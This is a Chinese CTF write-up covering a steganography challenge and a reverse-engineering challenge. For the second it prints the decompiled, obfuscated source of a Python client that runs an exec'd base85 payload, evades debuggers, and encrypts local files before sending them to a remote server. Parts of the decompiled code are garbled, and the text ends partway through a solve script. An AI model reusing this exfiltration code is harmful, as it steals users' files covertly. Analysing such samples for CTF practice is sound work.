CCSSSC_2026 WP&赛后总结
怎么说呢,这次我真的是几乎一窍不通…第一次直面真正的“简单题”
封面是男娘,好耶
steganography_challenge
拿到题目,发现是一个无后缀文件名为steganography_challenge
使用010打开,发现有很明显的PNG和IDAT标识…

然而直接删去冗余得到一个不怎么行的png(pngcheck显示chunk错误),因此尝试研究magic number…
27 1c 可能对应7z的魔数37 7a bc af 27 1c,因此修改之,得到一个可以打开的7z文件

提取layer2.png,binwalk检查发现除了本体layer2.png之外还有一个文件,因此使用zsteg提取,由文件得知隐写在b1, rgb, lsb, xy,于是
zsteg -e b1,rgb,lsb,xy/layer2.png > test.zip并修改魔数使其能够正常识别,得到test.zip,解压得到flag.zip和pass1-6.zip
使用ZipCracker CRC32碰撞破解中,少话,,,

逐一破解pass1-6,最后得到pass is c1!xxtLf%fXYPkaA
解压缩得到flag.txt

显然是不可见字符,在010中发现:

于是使用脚本映射零宽字符,

这一段的具体原理看这里:https://yb.tencent.com/s/9mv9UMsXmWSD
运行得到

re3
下载文件,得到一个无后缀文件client和一个捕获pcap流量包,打开发现加密后的flag.txt

使用DIE查看client发现其由python编写,于是使用pyinstxtractor抽取pyc文件,输入命令
python pyinstxtractor.py pycdc.exe得到

在pylingual将pyc文件反编译,得到
# Decompiled with PyLingual (https://pylingual.io)# Internal filename: 'client.py'# Bytecode version: 3.10.b1 (3439)# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import base64import sysimport osimport jsonimport socketimport hashlibimport crypt_coreimport builtinsdef _oe(_d, _k1, _k2, _rn): # ***<module>._oe: Failure: Compilation Error try: _b = base64.b85decode(_d.encode()) _r = [] for _i, _x in enumerate(_b): return ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _r.append(_x, _k if _k else None) _s = bytes(_r).decode() _res = [] for _c in _s: if _c.isalpha(): _base = ord('A') if _c.isupper() else ord('a') _res.append((chr, ord(_c), _base, _rn, 26, _base)) else: if _c.isdigit(): _res.append(str(int(_c), _rn or 10)) else: _res.append(_c) return ''.join(_res) except: return _d_globs = dict(__name__='__main__', __file__=__file__, __package__=None, _oe=_oe)for _k in dir(builtins): if not _k.startswith('_'): _globs[_k] = getattr(builtins, _k)_globs['base64'] = base64_globs['sys'] = sys_globs['os'] = os_globs['json'] = json_globs['socket'] = socket_globs['hashlib'] = hashlib_globs['crypt_core'] = crypt_coredef _obf_check(): if hasattr(sys, 'gettrace'): _tr = sys.gettrace() if _tr is not None: return False return Truedef _obf_exec(_code): # ***<module>._obf_exec: Failure: Different bytecode if not _obf_check(): return None else: exec(compile, _code, chr(60) | chr(111) | chr(98) | chr(102) | chr(101) | chr(120) | chr(99))_1667 = 'UurNQJs@mhZDM3$Iv^-BFd$waF)}tOAS)m!H8L<DB_J|3DGFa|F(5r4Y+-F;WMMiWC^0oSAYLFbI5a6BD<CL1GB6+|AT=~83SVk6AUz;#VQpe$VLBivGdCb!ATlW+D<CK~I5!|AATl*63SVk7AUz;#VQpe$VLBivH!>hzATcpADIhB#C^R=TASEC(FewUOYBV4{AZ%f6Vq{@DASf|6Gaz0dI5H_9D<CK`H8&t7AU8893SVk9AUz;#VQpe$VLBivF)=qFULZ0sGbtb|ASg34F(4%%H8d#-UurfWJs@mhZDM3$Iv^-AG%_GwAT%~9AS)m!I5ajOB_K01DGFa|Hy}MAY+-F;WMMiWC^9i1ULY|vI4K}2ASg64H6SG*H#aE?UurlYJs@mhZDM3$Iv^-9GdUn$ATcvEDIhB#C^RxRASEC&F)0dPYB?Z1AZ%f6Vq{@DASg04H6UIfHZmz7D<CK|F*6_~AUHKC3SVk5Fd#i3Y+-F;WMMiWC^9rMAYLFgH7Ot~ASgIFG9V=&GcYL%UurQiAUz;#VQpe$VLBivGBO}uAT>BCAS)m!H#9IHB_K69DGFa|F)|=MAZ%f6Vq{@DASf|2IUrsjGBh|TAS)m!H#adLB_KC6DGFa|F*6`NAZ%f6Vq{@DASg01IUrsjGBYqKAS)m!GBz?GB_K94DGFa|F*G1OAZ%f6Vq{@DASf|6AYLFiIVm73ASgC6G9V=&GdL*<UurQmAUz;#VQpe$VLBivGBP<JULZ0sH7Ot~ASg37IUpq<GBqg*UurQnAUz;#VQpe$VLBivF)=Y9ULZ3wDIhB#C^R!OASEC*FewUOYB4t;Js@mhZDM3$Iv^-CF(6(bF*GtMAS)m!H8C<EB_J{}DGCZ>Y+-YAAYV^nW-~W8HaZF*ARr)QWo95>UukY>bYEX6b7gF1DLM)uARr(hARr)fWo%|HUv?lpAU8EJ3LqdLAY^4`AYW}Lb7gF1DLM)uARr(hARr)eWps6NZXk1IY-TQBb|5MsH3|wNAun}vaxY?OZZBnSb|7$hbZBpGGYSf6ZE$aLbRctYV{2t}3TbU{Z*p`XYIARH3TbU{Z*p`XZ*vN1ZE$aLbRctia|&r~aBp&SAZTH8Xl!X>3TbU{Z*p`XbZKp63JP<1b1raUbZ9PVZgXXFbSN+^Aa8RnaA9<4E@WwPZeeX@C~tEvaA9<4E@WwPZeeX@C~tEvaA9<4E@5JGaA9<4C|_S@X>4U*UnwamDGF(AaBp&SAY*cQaCBc|Z*pY{3JPOvVRLgJLv?d>Z*4+hb7eL(Itm~lARt3kQ&dk)UqMVzNI^nHR3JSdUvFh7A~-xeLQHRKF;#L>eP2>OGB<ftZEbTgWNKAOCVMD1OmlldaBVwdKxIl%Sz19Ya#TolG;nWyVRtn(IZHxeRd+vYNN_|#R%d8(S0hVOaw04sI5R9DGBGqPATc*73LqdLAX8L9PDDXcL|;KnP)I>SMN}X?ASenTARr(hARr)LZ)GSVFlK6dWM)cFUqeqpKV>O5ZZuv^Z$2hIGgMw)S5z@VSyx4IM^tWFSSd3}Hb#7YLwa?2BSBeYa87U}N-au$VmnqvYd1kzbXIg&HDh{xA}k;{Gb|u7F*Gb7F*hj+ARr(hDGDGUARt9fLr+9SUsORtOhq6)AaitbE^T3JWpr|3ZgVJ8R6$NeK~h9tK}=9cK|)1TEFeQwQ&dk)UqMVzNI^nHR4ED|ARr(_MMF<SMPF1wLQF*<Js@**axQIQYh`qDVQzCMLse5$PfcGzOi)NcLPb<8AX8L9PDDXcL|;KnP)I>SMN}yY3LqdLAV6bmVRLhBWprq7WC|c4ARuIAW*}r`V{c?-C}V7MEFffIbYVImb98bkAT2&1VtI6Bb2<tjARr(hARr)VZE$aLbRc43b7eL(3JM?~ARr(hARu#eWM5)7G$1`7WMOn+E_8BXZgXs5bY&=GY;!I|MMF<SMPF1wLQF*|3LqdLARr(hAaZ4Nb#iVXVqtS-HZ(3`HZ){qV{c?-D06gVUt%^iDGCY-Q$<o%MN(f#Pg7JNJs=_?3R6W=Rz*@@P)|}+AUz;CIXO8BOGQ~<LN+uYJs@9iWhf#;H%&oxaAadObW%c1AvH2<b~IOQaDGT^Wne)xPBmb3KQ(SoVp%Ipel}2gHFso2DtSFcBzjSHA$VFMEFd^DEFdy5G%O%7Hz^8BMOh#{AVYO?bZ>1!VRL0RG%jRiV{c?-C`(0IUqUuCDGEkOOhr>)R8L=1MNUK@Js?|OZ)GSVNiA@FMs`yvaWG|VL?SF8I5R9DGBGqPATc*7EFfQRWhf#-C@n%tUpzuKPa-TJI5R9DGBGqPATc*7EFfQRWhf#;Bu#iybXqw%du44zA}k;{Gb|u7F*Gb7F*hk)3JMBjWo95>Z*XC8b!A_4a&=`WDLM)uARr)LcpyC>FbW_bARuOMav)!6AZczOa$#;~WhgN)Fey3;ARr(hARr(hUw9xZJs@9cASxgzUuhsMAYW-9D<Cl`3LqdLAaZ4Nb#iVXUw9xsJs>a&3JPRpW*}d0aA9$EWnX4tY;$EODLM)uARr)LVJskDVjw*rH7p=E3LqdLAaZ4Nb#iVXC|_Y9Dj;8CDIh&PAShpAASxhVVIV6YF)0cP3S?zwAYWu<VPs!pVQgb4DLM)uARr)LWMyGwAUz;33LqdLAZBlJAYW-9X>K5LVQyz-C^axCItm~lARr(hARu34Wnp9>Js>DwWMyGwAS)nWX(=EjATc)zARr(hARr(hX=Wf_WMyGwAU+^5Ffcj_ARr(hARr(hARr(hUu0!rWFS2tUu0!rWFRUaG9W7;F$y3cARuyObairWAYWu<VPpyl3S?zwAZ2c2a(QrcUuJ1+WhiT9c{(6sd30rSEFf@fVQFr3Wq5QtAYyrRWpgPYEj}P(d30rSItm~lARu3JbYXO5AUz;33LqdLAYXE2b9HQVAUz;XZ*FA@ARr(hcW7yBWguU3bYXO5AUq&5Itm~lARr(hARuXGAYXHIVRU66Jv|^WItm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYXE2b9HQVAUz;sa(QrcUt@1_WiDlIV{c?-Uu0o)VJL8HVQFr3Wq5QfAZulLTRJf|T`3A6ARr(hARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARu34WnpArV_|G#C@BgcARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARuLIX=Wf_b97;JWgtC0ATl}%ARr(hARr(hARr(hX=Wf_Z*XC8b!A^>VQh0{C@DG$ARr(hARr(hARr(hARr(hUvg!0b!>DXJs?hRZe<D}ARr(hARr(hARr)Lb97;JWgtBuGYTLeARuyObairWAYXE2b9HQV3JMBjWo96AWo~3&b7^j8Y-L|&X>4UEb8lm7EFflSY-Mg?ZDlMVaBN{|ZggdMbSXLtARr(hUvnTmATSCbARr)LV{{-rAWm;?WeOl5ARu3GY#==#PH%2y3LqdLAa`hKY-J!{b09n*H986)ARr(hARr)VW*}d4AU!=GFggk#ARr(hARr(hARr)LV{{-rAZ2c2a(QrcUuJ1+WhhHUSu7xMY+-3`bY*ySDGDGUARr(hARr(hARu3JAUz;43LqdLARr(hAZ2W6W*}d4AU!=GF**t$ARr(hARr(hARr)LaBLtwAbVeLWhf#-CO$Gsc64=MDIzQ&I5R9DGBGqPATc*7Iv{3gY-Mg?ZDlMVUvFh7B10oBW>#=*J7X<nZA2n0AUHEDATlvDEFdvADLNouV{|TPWq2qleF`8TARr(hARr(hARu3JAUz;53LqdLARr(hAZ2W6W*}d4AU!=GGCB$%ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu#ZV{0yRWo~3)Y-}iMb8l`gWOZ$Db0}YMY$+~fZewp`Whh^7Whf#`W>9u?J9{E5AUHEDATlvDEFdvADJdW;AYvk1ZXziPARr(hARr(hARr(hARr(hUvnTmAT$afARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYWu<VPs!pVQgb4DGDGUARr(hARr(hARr(hARu3JAUz;63LqdLARr(hAZ2W6W*}d4AU!=GGdc<&ARr(hARr(hARr)LWMyGwUt?ixV<;&KARr(hARr(hARr(hUvnTmAT$afARr(hARr)RY-wg7UvnTmJs>nX3LqdLARr(hARr(hAZcbGZf|rTUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAarSMWiE4UWo2+EFfK7E3LqdLARr(hARr(hAYXGJJs>p-3JPRpW*}d7WpZg|d0%5~WGG{8WGOldARr(hUvqR}bY&ntATclsARr(hUua=-XkT_=Y#==#PH%2y3LqdLAYXQ2Y-wa5Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tH845~ARr(hARr(hX=Wf_b97;JWgtC0ATcmH3LqdLARr(hARr(hAZcbGY-MgJV{K$9AU+^4Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT&7&ARr(hARr(hWo&6?AYXHIVRU66Jv|^YFggk#ARr(hARr(hARr)LXkl|`Uv^<^AUz;xVRL9~X<{yIWHl&bZDcNGZewp`Whf~rE@)+VWNBw*b95*v3LqdLARr(hARr(hAYXHIVRU66Js>kM3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGcY;|ARr(hARr(hARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr(hARr(hARr)Lc42I3WFS2tUua=-XkT_=Y#=>7AYX4~C?Zx@OEf)kM|E*oLU>C*b5>VuLU%k;S1?{eG;uj5Rzf>+WjruUGF2ihAUHEDATlvDEFdvADGDGUARr(hARr(hARr(hARu3JbYXO5AUz;7FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG%z{}ARr(hARr(hARr(hX=Wf_c42I3WI75UARr(hARr(hARr(hARr)Lb97;JWgtBuH82VwARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG&wp7ARr(hARr(hARr(ha%FUNa&90-VQh0{3JM?~ARuyObairWAYXQ2Y-wZ)3JPRpW*}c@WprP2WpZ|9a$jg~b95+Sa%XcXItm~lARu3JAUz;4Ffa-rARr)LXm4|LAUz;XZ*FA@3LqdLAa`hKY-J!{b09n*GB7YY3LqdLARr(hAZcbGUvnTmJs>eKFggk#ARr(hARr(hARr)VW*}^3ZYW`LXLBhaJ|HqW3LqdLARr(hARr(hARr(hAYXGJJs>eLFbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvnTmATcs93LqdLARr(hAZ2W6W*}d4AU!=GF)=VY3LqdLARr(hARr(hAYW*2b95j*AYpQ6b6YZ93LqdLARr(hARr(hAYXGJJs>hLFbW_bARr(hARuLIX=Wf_b09rEATcs9Itm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AR;0PARr(hARr(hARr(hUvnTmATls83LqdLARr(hAZ2W6W*}d4AU!=GGB7YY3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AYX4~C?Z*Rb8US)SZF?GL`EVkAUHEDATlvDEFdvADGDGUARr(hARr(hARu3JAUz;5Ffj@WARr(ha%FUNa&91BXm4|L3JMBjWo964VQFqCDLM)uARr)Lb97;JWgtBuFbW_bARu3JZ)0m9Js?hRZe<D}ARr)LX=HdHJs>a&ARr(hUvP41Zggd2Uub1vWMy(7Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tF)%PX3LqdLARr(hAZcbGUvqR}bY&ntJs>bT3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVGD0$BZC^)BL2_6)A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARuXGAZ%rBD06vpE@5(Kb}1k{ATl}%ARr(hARr(hARr(hARr(hUvqR}bY&ntAT<ggARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>g)ARr(hARr(hWo&6?AYXHIVRU66Jv|^YItm~lARr(hARr(hARuXGAYXQ6a%pCHUt?`#D06vpE@5(Kc3UxBDLM)uARr(hARr(hARr(hARr)Lb97;JWgtBuGYTLeARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT$afARr(hARr)RY-wg7UvqR}bY&ntJs>kW3LqdLARr(hARr(hAZcbGZf|rTUvP41Zggd2Uub1vWMy(X3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVI7>HdIeKVda#LAjQCd$odp2!Td22gnI7TF6K{P`-U|v&sL^Vb!A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAYX8DX>N37WM61yVPs`;AUz;da&=`2ARr(hARr(hARr(hUvqR}bY&ntATclsARr(hARr(hWo&6?AYXHIVRU66Jv|^aItm~lARr(hARr(hARusZX>N2VBI%Tw=&!Huyqe~hpyri`=bD7&k-g-*q#`K_ARr(hARr(hARr(hUvqR}bY&ntAUQb-ARr(hARr(hWo&6?AYXHIVRU66Jv|^bItm~lARr(hARr(hARusZX>N2VBIlH-=ChUWyqa)%bZBpGAY*K4Wo~pXaCsm+V{dJ3VQyqTAX`&KQdUJ$Ur0|=R9zw|3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)%s`ARr(hARr(hARr(hbaHt*3LqdLARr(hARr(hARr(hAYXHDV{0HiAaieHYh`pUb8lm7WppTWZ)0m^bS^<gUrA0yR4gEKZ)0m^bS_g*LrY&%R8mDjO(_Z>ARr(hARr(hARr(hARr)Lb97;JWgtBuF)<1tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>i3LqdLARr(hARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)=y{ARr(hARr(hARr(hUubW0bRaz-UuR`>Uvp)0c4cy3Xm4|LD06vpE@5(Kb}0%VARr(hARr(hARr)Lb97;JWgtBuF)|7uARr(hARr)RY-wg7UvqR}bY&ntJs>eMItm~lARr(hARr(hARu&dc{&OpARr(hARr(hARr(hARr)Lb8lm7E@N+QZe?S1C@5cOZ*z1kAX7zBRz*@@P)|}+DJcpdARr(hARr(hARr(hARr)Lb97;JWgtBuGB64tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>IVRIm5Itm~lARr(hARr(hARr(hARusZX>N2VW+Gc5T_EVcp5~6F<)pFbw59L7ntNq^A}I<WARr(hARr(hARr(hARr)Lb97;JWgtBuIXMa-ARr(hARr)RY-wg7UvqR}bY&ntJs>hLItm~lARr(hARr(hARuXGAYW-@cpy9=Y-MgJMoCOXQ(sh1UsFX+L@7E7ARr(hARr(hARr(hARr(hUvqR}bY&ntATluuARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;6FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATlvJ3LqdLARr(hARr(hAYW!~VQpm~Js?I&Ohr>)R8L=1MNULpUuk4`T?!x|ARr(hARr(hARu3JbYXO5AUz;5G72CdARr(hARuLIX=Wf_b97;JWgtC0ATlyK3LqdLARr(hARr(hAZcbGZ*wkiVRUFNWq4_GbaN<QW^Q3^WhpueARr(hARr(hARr(hARr(hUvqR}bY&ntATl!wARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5I0_&jARr(hARuLIX=Wf_b97;JWgtC0ATl#L3LqdLARr(hARr(hAa`kWXdrKJWo{^6W^Q3^Wh@{fa$+JWAYpSLUuHTAARr(hARr(hARr(hARr(hUu0o)VIVyqUuG_HWnp9}DGDGUARr(hARr(hARu3JbYXO5AUz;5GzuUfARr(hARuLIX=Wf_b97;JWgtC0ATl&M3LqdLARr(hARr(hAZcbGUvF?>adl;1baHiNC@DG$ARr(hARr(hARr(hARr(haB^vGbSP#bTPj^3<&Tl+fPv<ghvd7qA}I<WARr(hARr(hARr)Lb97;JWgtBuGBpYyARr(hARr)RY-wg7UvqR}bY&ntJs>hQItm~lARr(hARr(hARuXGAZ~ATAYX5AVR3b3UuI!!b7d$gItm~lARr(hARr(hARr(hARu#PZe(9`X>Mn1WnX4#Y-K24b8lm7EFfQIZeeX@EFfQGVRT_B3LqdLARr(hARr(hAYXHIVRU66Js>hR3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGB!F2ARr(hARr(hARr(hUuk4`AS*o}F$y3cARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATl^Q3LqdLARr(hARr(hAaHVNZgePSB3mt8Am)~b<h!=yxQ*qlnB|<PA}I<WARr(hARr(hARr)Lb97;JWgtBuGC2w$ARr(hARr)RY-wg7UvqR}bY&ntJs>hUItm~lARr(hARr(hARu39WOyJeJs>d(ARr(hARr(hARr(hUvqR}bY&ntATlrtARr(hARr(hWo&6?AYXHIVRU66Jv|^ZFggk#ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu&UZDlTVY-MF|C@?NEDGDGUARr(hARr(hARu3JbYXO5AUz;6F$y3cARr(hARuLIX=Wf_b97;JWgtC0ATu#K3LqdLARr(hARr(hAZcbGUvqC`YdQ)bARr(hARr(hARr(hARr)Lb8lm7E@NzOb7d$g3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GIXOBCARr(hARr(hARr(hVsd3+YYGYqX=Wf_Uv6P-WnW()Jv|^_Z)GSVG%{y7X>?&qK0_ibAUHEDATlvDEFdvADLM)uARr)LWMyGwUt?ixV<;&KARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr)ZVQFqCDGDGUARuLIb7eXTARr(hARr(hUu0!rWM5-pY-1=X3I'_obf_exec(base64.b85decode(_1667).decode())最底下有一个很大的字节码(似乎是base85),我们将其破译并写入client_dump中
_j0 = lambda: (30 ^ 126) + (520 % 26)_j1 = lambda: (158 ^ 184) + (820 % 54)_j2 = lambda: (37 ^ 2) + (687 % 25)_j3 = lambda: (72 ^ 112) + (474 % 30)_j4 = lambda: (173 ^ 82) + (257 % 73)_j5 = lambda: (117 ^ 203) + (331 % 54)_j6 = lambda: (242 ^ 46) + (846 % 33)_j7 = lambda: (21 ^ 148) + (425 % 77)_j8 = lambda: (139 ^ 134) + (427 % 21)_j9 = lambda: (245 ^ 62) + (413 % 85)_j10 = lambda: (242 ^ 65) + (892 % 30)_j11 = lambda: (22 ^ 58) + (740 % 59)_j12 = lambda: (139 ^ 248) + (771 % 74)_j13 = lambda: (219 ^ 230) + (262 % 63)_j14 = lambda: (17 ^ 89) + (622 % 38)_j15 = lambda: (229 ^ 205) + (369 % 25)_j16 = lambda: (111 ^ 33) + (433 % 50)_j17 = lambda: (41 ^ 142) + (512 % 21)
class _Obf3776: def __init__(self): self._v = 751 def _m(self): return self._v * 5
#!/usr/bin/env python3
import socketimport jsonimport osimport sysimport hashlibimport time
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))import crypt_core
class CustomBase64: CUSTOM_ALPHABET = _oe("8<<BLok1UrR}_R>27yTmms1djUI&{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr", 83, 214, 17) STANDARD_ALPHABET = ( _oe("0fj{dfJO_COA?e)7n4^Mo>&>3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}", 83, 214, 17) ) ENCODE_TABLE = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET) DECODE_TABLE = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)
@classmethod def decode(cls, data: str) -> bytes: import base64
std_b64 = data.translate(cls.DECODE_TABLE) return base64.b64decode(std_b64)
SERVER_HOST = ""SERVER_PORT = 9999KEY_B64 = _oe("C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ", 83, 214, 17)KEY = CustomBase64.decode(KEY_B64)FILES_TO_SEND = [_oe("I-p}FvS)q0emD", 83, 214, 17), _oe("B(-BJ_<B6O", 83, 214, 17), _oe("C$MxRtZ99{emD", 83, 214, 17)]
def _opaque_true(): _x = 0 for _i in range(100): _x += _i * (_i - _i + 1) return _x >= 0
def _opaque_false(): _a, _b = 5, 7 return (_a * _b) == (_b * _a + 1)
def _dead_calc(): _dead = 0 for _i in range(50): _dead = (_dead + _i) % 17 if _dead > 100: _dead = _dead * 2 + 1 return _dead
def encrypt_file(key: bytes, plaintext: bytes) -> bytes: _state = 0 _result = None while _state < 3: if _state == 0: if _opaque_true(): _result = crypt_core.encode_data(plaintext, key[:16]) _state = 2 else: _dead_calc() _state = 1 elif _state == 1: _dead_calc() _state = 2 elif _state == 2: if _opaque_false(): _result = None _state = 3 return _result
def send_single_file(sock, filename, plaintext): _s = 0 _ct = None _pl = None while _s < 5: if _s == 0: _ct = encrypt_file(KEY, plaintext) _s = 1 elif _s == 1: _pl = {_oe("B&>2Jvtu`)", 83, 214, 17): filename, _oe("C#-fVpm;c-emD", 83, 214, 17): _ct.hex()} _s = 2 elif _s == 2: if _opaque_true(): sock.sendall(json.dumps(_pl).encode(_oe("KfPvt;{", 83, 214, 17)) + b"\n") _s = 4 else: _dead_calc() _s = 3 elif _s == 3: _dead_calc() _s = 4 elif _s == 4: if not _opaque_false(): time.sleep(0.1) _s = 5
def _verify_cmd(cmd): _state = 10 _hash_val = None _valid = False
while _state < 50: if _state == 10: if len(cmd) > 0: _state = 20 else: _state = 49 elif _state == 20: _hash_val = hashlib.md5(cmd.encode()).hexdigest() _state = 30 elif _state == 30: if _opaque_true(): _valid = _hash_val == _oe("VWK4=qGuqYBxK?sVWlBw<RW0^B4q9&VB;re<0L2U", 83, 214, 17) _state = 40 else: _dead_calc() _state = 49 elif _state == 40: if _valid: _state = 50 else: _state = 49 elif _state == 49: return False
return _valid
def _get_server_host(args): _s = 100 _host = None
while _s < 200: if _s == 100: if len(args) > 2: _s = 110 else: _s = 120 elif _s == 110: _host = args[2] _s = 200 elif _s == 120: if _opaque_true(): _host = "" _s = 200 elif _s == 200: if _opaque_false(): _host = _oe("Ywsm};Xh>fDF", 83, 214, 17) _s = 201
return _host
def main(): _state = 0 _sock = None _idx = 0 _printed_header = False
while _state < 100: if _state == 0: if _opaque_false(): print(_oe("2B2dm_GLArX8", 83, 214, 17)) _state = 1 elif _state == 1: if len(sys.argv) < 2: _state = 5 else: _state = 2 elif _state == 2: if _verify_cmd(sys.argv[1]): _state = 3 else: _state = 4 elif _state == 3: if not _printed_header: print("=" * 50) print(_oe("8K7l9zh`rSYcQZO7{6mSyk;f8F$cA4C9`^SyD5F)", 83, 214, 17)) print("=" * 50) _printed_header = True _state = 10 elif _state == 4: print("错误:无效的命令") _state = 99 elif _state == 5: print("用法:python client.py <command> [SERVER_HOST]") _state = 99 elif _state == 10: try: _sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) _state = 11 except Exception: _state = 99 elif _state == 11: _host = _get_server_host(sys.argv) _state = 12 elif _state == 12: try: _sock.connect((_host, SERVER_PORT)) _state = 20 except Exception as e: print(f"[!] 连接失败:{e}") _state = 99 elif _state == 20: if _idx < len(FILES_TO_SEND): _state = 21 else: _state = 30 elif _state == 21: _fname = FILES_TO_SEND[_idx] _state = 22 elif _state == 22: if os.path.exists(_fname): _state = 23 else: _state = 28 elif _state == 23: with open(_fname, "rb") as _f: _data = _f.read() _state = 24 elif _state == 24: if _opaque_true(): print(f"[*] 发送文件") _state = 25 elif _state == 25: if not _opaque_false(): send_single_file(_sock, _fname, _data) _state = 26 elif _state == 26: _idx += 1 _state = 20 elif _state == 28: print(f"[-] 文件不存在") _state = 29 elif _state == 29: _idx += 1 _state = 20 elif _state == 30: if _opaque_true(): time.sleep(0.2) _state = 31 elif _state == 31: if _sock: _sock.close() _state = 99 elif _state == 99: break
if __name__ == _oe("42g9itaJ>C", 83, 214, 17): _dead_calc() if _opaque_true(): main() else: _dead_calc()尝试根据custom alphabet还原_oe函数,根据之前的流量传输中的flag.txt,我们尝试破译,发现加密逻辑位于crypt_core.so中
init时全局变量保存偏移
encode_data 传入key为passvkcDKWLAA45ocFAXBPM63X4G8XzzTE1B
检查函数sub_9820和sub_60B0,确认key参与加密的为前16字节,算法为SM4,使用ECB方法,迭代24轮 其实这一段我也不知道什么意思,但是是这么说的
使用脚本
SBOX = bytes.fromhex( "ec ca 0e f3 08 f0 2a a2 3b 18 2b 5c 37 bd 12 a8" "05 d3 a1 57 4f 96 fc f5 a7 14 19 66 58 9b bf b4" "39 d5 1e 1a 30 bc 6c 80 b7 ed 41 06 d9 17 67 cd" "1d 2c ae 24 03 13 c6 53 83 11 0a f7 c0 4d c4 9e" "8d 00 1f c3 3f 35 9f cb 72 9d 16 6f ac ce 3c 5e" "a6 e1 7b 34 36 32 b8 95 91 89 52 c1 e7 a3 33 48" "04 cf 10 eb 25 bb 8e 0f 81 6e b3 43 45 8f 49 f8" "4b 59 07 4a de fd c8 d0 84 8b fb da db 28 d4 3e" "a4 2f 56 be ef 86 c7 62 ea 76 e9 d6 74 a5 6b f9" "98 7d 3a 26 5a af 87 0d 1b 2e b2 e3 6a cc f1 ff" "d7 f6 1c c9 e8 70 20 4e 23 3d c2 aa dc 0b f2 5f" "7a fa 88 97 47 d1 0c 02 31 7f f4 75 15 93 38 8a" "42 90 71 dd 73 55 7e b5 5b 29 4c 9a e0 8c b0 e5" "64 27 01 df ad 21 79 94 92 51 69 7c 22 63 50 85" "2d e2 40 46 44 a9 82 b6 61 d8 d2 b9 68 ab b1 5d" "65 54 77 a0 c5 ba 60 9c e4 fe ee 99 e6 78 6d 09")
